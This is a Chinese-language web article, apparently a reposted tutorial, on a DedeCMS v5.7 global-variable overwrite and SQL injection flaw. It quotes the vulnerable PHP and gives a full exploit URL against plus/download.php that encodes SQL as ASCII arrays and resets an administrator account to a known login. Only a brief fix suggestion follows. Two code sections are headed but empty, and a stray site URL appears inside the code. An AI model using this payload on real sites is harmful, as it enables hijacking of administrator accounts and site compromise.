dedecms屏蔽规则(织梦dedecms修改任意管理员漏洞处理方法)
类别:CMS系统 浏览量:379
时间:2022-01-28 01:21:39 dedecms屏蔽规则
织梦dedecms修改任意管理员漏洞处理方法本文实例讲述了织梦dedecms修改任意管理员漏洞处理方法。分享给大家供大家参考。具体分析如下:
织梦DEDECMS是全国用到最多的cms系统了,正由于用得人多而且是开源的代码,所以分析人也多bug出现不少,根据小编总结出现bug大多是在变量上,这次又是全局变量$GLOBALS可以被任意修改导致的,下面来给各位演示这个bug与处理方法.
漏洞版本:dedecms v5.7
漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:
if(isset($GLOBALS['arrs1']))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]); //解码ascii
}
$GLOBALS[$v1] .= $v2; www.zzvips.com//注意这里不是覆盖,是+
}
function SetQuery($sql)
{
$prefix="dede_";
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
$this->queryString = $sql;
}
下面说下绕过80sec防注入的方法.
同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:
else if($open==1)
{
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);
//这里的#@_是可以控制的
$rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
if($rs <= 0) { $query = " INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query);
}
header("location:$link");
exit();
}
构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:
完整SQL语句,代码如下:
测试方法,代码如下:
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
如果不出问题,后台登录用户spider密码admin
安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.
希望本文所述对大家的dedecms建站有所帮助。
您可能感兴趣
- dedecms的使用教程(解析DedeCms中data目录下的sessions是什么文件)
- dedecms搜索功能怎么设置详细(取消dedecms 留言簿的验证码的方法)
- dedecms更新后设置空白(Dedecms去掉URL中a目录的方法)
- dedecms后台关键词(DedeCms防止垃圾文章群发、垃圾评论和注册的方法)
- dedecms授权协议(360提示DedeCms全局变量覆盖漏洞临时解决方法)
- dedecms栏目列表(dedecms子栏目中调用其顶级栏目名称和简介的方法)
- dedecms搜索功能怎么设置详细(dedecms pagelist标签修改方法分享)
- dedecms设置轮播图(织梦dedecms网站地图改变生成目录的方法)
- dedecms怎么调用标签(dedecms 织梦系统栏目及子栏目调用友情连接的方法)
- dedecms标签分类(dedecms list增加noflag属性的方法 实现让列表标签不调用有推荐属性的文章)
- dedecms的dedesql.class.php on line 489错误的解决方法(dedecms的dedesql.class.php on line 489错误的解决方法)
- dedecms 怎么设置栏目(dedecms如何实现tag标签伪静态的方法)
- dedecms标题加粗方法(DEDECMS教程:去除列表页文章标题加粗标签的方法)
- 织梦dedecms好吗(织梦dedecms单页制作教程)
- dedecms调用logo标签(dedecms返回列表页功能的标签代码)
- dedecms 添加单页(织梦dedecms内页、详情页中调用文章作者信息的方法)
- 8月再见 9月你好(8月再见)
- 魔兽世界 设计师爆料,原始版本并无PVP,跨阵营属于返璞归真(魔兽世界设计师爆料)
- 吐槽完《弧光大作战》之后,我们和设计师聊了聊魔兽首款手游的立项初衷和未来(吐槽完弧光大作战之后)
- 魔兽争霸3自定义战役少年杰雷 2(魔兽争霸3自定义战役少年杰雷)
- 今日菜价 芥兰涨幅最高 1.33 ,花菜降幅最高 3.10(今日菜价芥兰涨幅最高)
- 今日菜价 椰菜涨幅最高 3.25 ,水空心菜降幅最高 2.58(今日菜价椰菜涨幅最高)
热门推荐
- mysql的视图和临时表区别(MySQL 内存表和临时表的用法详解)
- vue控制div滚动条(vue3实现CSS无限无缝滚动效果)
- sql语言运算符主要内容(详解SQL EXISTS 运算符)
- docker和tomcat建立连接(如何基于Dockerfile构建tomcat镜像)
- dede织梦cms安装教程(开源织梦dedecms快速搬家图文教程)
- sqlserver乐观锁与悲观锁(sql server中死锁排查的全过程分享)
- iis搭建web服务器和ftp教程(Windows实例通过IIS如何搭建多个FTP站点?)
- JS脚本中Null与Undefined的区别
- virtualbox服务器搭建centos(VirtualBox安装CentOS及JDK、Hadoop的安装与配置详细教程)
- css的水滴效果(CSS制作各种样式的彩虹效果)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9